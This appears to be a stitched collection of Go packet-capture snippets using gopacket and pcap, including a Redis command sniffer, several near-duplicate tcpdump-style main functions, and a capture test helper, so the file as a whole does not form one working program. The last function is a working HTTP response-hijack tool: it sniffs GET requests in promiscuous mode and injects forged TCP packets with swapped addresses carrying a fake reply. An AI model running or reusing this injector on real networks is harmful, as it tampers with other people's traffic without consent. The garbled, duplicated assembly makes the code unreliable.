func setupPcap(device *string, port *string, rediscommand_ch chan<- redis_protocol.RedisCommand) {
var h *pcap.Handle
var err error
ifs, err_str := pcap.FindAllDevs()
if len(ifs) == 0 {
fmt.Printf("Warning: no devices found : %s\n", err_str)
}
h, err = pcap.OpenLive(*device, int32(65535), true, 1000)
if h == nil {
fmt.Printf("Openlive(%s) failed: %s\n", *device, err)
return
}
defer h.Close()
err = h.SetBPFFilter("dst port " + *port)
if err != nil {
fmt.Println("set filter failed")
return
}
packetSource := gopacket.NewPacketSource(h, h.LinkType())
for pkt := range packetSource.Packets() {
applicationLayer := pkt.ApplicationLayer()
if applicationLayer == nil {
continue
}
s := string(applicationLayer.Payload())
if s == "" {
continue
}
rediscommand, err := redis_protocol.Parse(s)
if err != nil {
fmt.Println(err)
continue
}
ipLayer := pkt.Layer(layers.LayerTypeIPv4)
if ipLayer != nil {
ip, _ := ipLayer.(*layers.IPv4)
rediscommand.Ipaddr = []byte(ip.SrcIP.String())
} else {
ipLayer := pkt.Layer(layers.LayerTypeIPv6)
if ipLayer != nil {
ip, _ := ipLayer.(*layers.IPv6)
rediscommand.Ipaddr = []byte(ip.SrcIP.String())
}
}
rediscommand_ch <- *rediscommand
}
}
func main() {
defer util.Run()()
var handle *pcap.Handle
var err error
signal.Notify(sigs, syscall.SIGHUP)
go startWebServer()
go sighandler()
flag.Parse()
go printDebugInfo()
if fname != "" {
if handle, err = pcap.OpenOffline(fname); err != nil {
log.Fatal("PCAP OpenOffline error:", err)
}
} else {
// This is a little complicated because we want to allow all possible options
// for creating the packet capture handle... instead of all this you can
// just call pcap.OpenLive if you want a simple handle.
inactive, err := pcap.NewInactiveHandle(iface)
if err != nil {
log.Fatal("could not create: %v", err)
}
defer inactive.CleanUp()
if err = inactive.SetSnapLen(snaplen); err != nil {
log.Fatal("could not set snap length: %v", err)
} else if err = inactive.SetPromisc(true); err != nil {
log.Fatal("could not set promisc mode: %v", err)
} else if err = inactive.SetTimeout(time.Second); err != nil {
log.Fatal("could not set timeout: %v", err)
}
if tstype != "" {
if t, err := pcap.TimestampSourceFromString(tstype); err != nil {
log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
} else if err := inactive.SetTimestampSource(t); err != nil {
log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
}
}
if handle, err = inactive.Activate(); err != nil {
log.Fatal("PCAP Activate error:", err)
}
defer handle.Close()
if len(flag.Args()) > 0 {
bpffilter := strings.Join(flag.Args(), " ")
fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter)
if err = handle.SetBPFFilter(bpffilter); err != nil {
log.Fatal("BPF filter error:", err)
}
}
}
for {
process(handle)
}
}
func main() {
defer util.Run()()
var handle *pcap.Handle
var err error
if *fname != "" {
if handle, err = pcap.OpenOffline(*fname); err != nil {
log.Fatal("PCAP OpenOffline error:", err)
}
} else {
// This is a little complicated because we want to allow all possible options
// for creating the packet capture handle... instead of all this you can
// just call pcap.OpenLive if you want a simple handle.
inactive, err := pcap.NewInactiveHandle(*iface)
if err != nil {
log.Fatal("could not create: %v", err)
}
defer inactive.CleanUp()
if err = inactive.SetSnapLen(*snaplen); err != nil {
log.Fatal("could not set snap length: %v", err)
} else if err = inactive.SetPromisc(*promisc); err != nil {
log.Fatal("could not set promisc mode: %v", err)
} else if err = inactive.SetTimeout(time.Second); err != nil {
log.Fatal("could not set timeout: %v", err)
}
if *tstype != "" {
if t, err := pcap.TimestampSourceFromString(*tstype); err != nil {
log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
} else if err := inactive.SetTimestampSource(t); err != nil {
log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
}
}
if handle, err = inactive.Activate(); err != nil {
log.Fatal("PCAP Activate error:", err)
}
defer handle.Close()
if len(flag.Args()) > 0 {
bpffilter := strings.Join(flag.Args(), " ")
fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter)
if err = handle.SetBPFFilter(bpffilter); err != nil {
log.Fatal("BPF filter error:", err)
}
}
}
// https://github.com/google/gopacket/blob/master/dumpcommand/tcpdump.go
dumpcommand.Run(handle)
}
func tryCapture(iface net.Interface) error {
if iface.Name[:2] == "lo" {
return fmt.Errorf("skipping loopback")
}
var h *pcap.Handle
var err error
switch *mode {
case "basic":
h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3)
if err != nil {
return fmt.Errorf("openlive: %v", err)
}
defer h.Close()
case "filtered":
h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3)
if err != nil {
return fmt.Errorf("openlive: %v", err)
}
defer h.Close()
if err := h.SetBPFFilter("port 80 or port 443"); err != nil {
return fmt.Errorf("setbpf: %v", err)
}
case "timestamp":
u, err := pcap.NewInactiveHandle(iface.Name)
if err != nil {
return err
}
defer u.CleanUp()
if err = u.SetSnapLen(65536); err != nil {
return err
} else if err = u.SetPromisc(false); err != nil {
return err
} else if err = u.SetTimeout(time.Second * 3); err != nil {
return err
}
sources := u.SupportedTimestamps()
if len(sources) == 0 {
return fmt.Errorf("no supported timestamp sources")
} else if err := u.SetTimestampSource(sources[0]); err != nil {
return fmt.Errorf("settimestampsource(%v): %v", sources[0], err)
} else if h, err = u.Activate(); err != nil {
return fmt.Errorf("could not activate: %v", err)
}
defer h.Close()
default:
panic("Invalid --mode: " + *mode)
}
go generatePackets()
h.ReadPacketData() // Do one dummy read to clear any timeouts.
data, ci, err := h.ReadPacketData()
if err != nil {
return fmt.Errorf("readpacketdata: %v", err)
}
log.Printf("Read packet, %v bytes, CI: %+v", len(data), ci)
return nil
}
func main() {
defer util.Run()()
var handle *pcap.Handle
var err error
if *fname != "" {
if handle, err = pcap.OpenOffline(*fname); err != nil {
log.Fatal("PCAP OpenOffline error:", err)
}
} else {
// This is a little complicated because we want to allow all possible options
// for creating the packet capture handle... instead of all this you can
// just call pcap.OpenLive if you want a simple handle.
inactive, err := pcap.NewInactiveHandle(*iface)
if err != nil {
log.Fatal("could not create: %v", err)
}
defer inactive.CleanUp()
if err = inactive.SetSnapLen(*snaplen); err != nil {
log.Fatal("could not set snap length: %v", err)
} else if err = inactive.SetPromisc(*promisc); err != nil {
log.Fatal("could not set promisc mode: %v", err)
} else if err = inactive.SetTimeout(time.Second); err != nil {
log.Fatal("could not set timeout: %v", err)
}
if *tstype != "" {
if t, err := pcap.TimestampSourceFromString(*tstype); err != nil {
log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
} else if err := inactive.SetTimestampSource(t); err != nil {
log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
}
}
inactive.SetImmediateMode(true)
if handle, err = inactive.Activate(); err != nil {
log.Fatal("PCAP Activate error:", err)
}
defer handle.Close()
if len(flag.Args()) > 0 {
bpffilter := strings.Join(flag.Args(), " ")
fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter)
if err = handle.SetBPFFilter(bpffilter); err != nil {
log.Fatal("BPF filter error:", err)
}
}
}
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil {
if tcpLayer.(*layers.TCP).DstPort != 80 {
continue
}
if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST {
continue
}
data := string(tcpLayer.(*layers.TCP).LayerPayload())
if !strings.HasPrefix(data, "GET") {
continue
}
fmt.Println("I got GET packet!")
ethLayer := packet.Layer(layers.LayerTypeEthernet)
eth := layers.Ethernet{
SrcMAC: ethLayer.(*layers.Ethernet).DstMAC,
DstMAC: ethLayer.(*layers.Ethernet).SrcMAC,
EthernetType: layers.EthernetTypeIPv4,
}
ipv4Layer := packet.Layer(layers.LayerTypeIPv4)
ipv4 := layers.IPv4{
Version: ipv4Layer.(*layers.IPv4).Version,
SrcIP: ipv4Layer.(*layers.IPv4).DstIP,
DstIP: ipv4Layer.(*layers.IPv4).SrcIP,
TTL: 77,
Id: ipv4Layer.(*layers.IPv4).Id,
Protocol: layers.IPProtocolTCP,
}
tcp := layers.TCP{
SrcPort: tcpLayer.(*layers.TCP).DstPort,
DstPort: tcpLayer.(*layers.TCP).SrcPort,
PSH: true,
ACK: true,
FIN: true,
Seq: tcpLayer.(*layers.TCP).Ack,
Ack: tcpLayer.(*layers.TCP).Seq + uint32(len(data)),
Window: 0,
}
tcp.SetNetworkLayerForChecksum(&ipv4)
data =
`HTTP/1.1 200 OK
Server: nginx
Date: Tue, 26 Jan 2016 13:09:19 GMT
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: no-store
Pragrma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Length: 7
Stupid!`
// Set up buffer and options for serialization.
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
if err := gopacket.SerializeLayers(buf, opts, ð, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil {
fmt.Println(err)
}
if err := handle.WritePacketData(buf.Bytes()); err != nil {
fmt.Println(err)
}
fmt.Println("I sent Response-hijack packet!")
}
}
// dumpcommand.Run(handle)
}